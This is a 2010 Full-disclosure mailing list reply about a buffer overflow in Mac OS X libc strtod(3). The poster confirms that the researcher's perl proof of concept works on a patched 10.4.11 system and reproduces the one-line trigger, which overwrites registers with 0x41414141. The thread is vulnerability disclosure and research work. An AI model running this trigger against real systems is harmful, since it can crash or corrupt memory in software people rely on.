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Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow
- From: Joshua Levitsky <jlevitsk@xxxxxxxxxx>
- Date: Tue, 12 Jan 2010 12:54:23 -0500
On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz <
cxib@xxxxxxxxxxxxxxxxxx> wrote:
>
Could you check perl PoC ?
> It should overwrite esi and edi register
>
> esi=0x41414141
> edi=15
>
>
The perl PoC worked on 10.4.11 fully patched.
http://securityreason.com/achievement_securityalert/63
Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl ---
--
Joshua Levitsky, MCSE, CISSP
http://www.jnuxhosting.net
http://www.jnux.net
http://blog.joshie.com/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]
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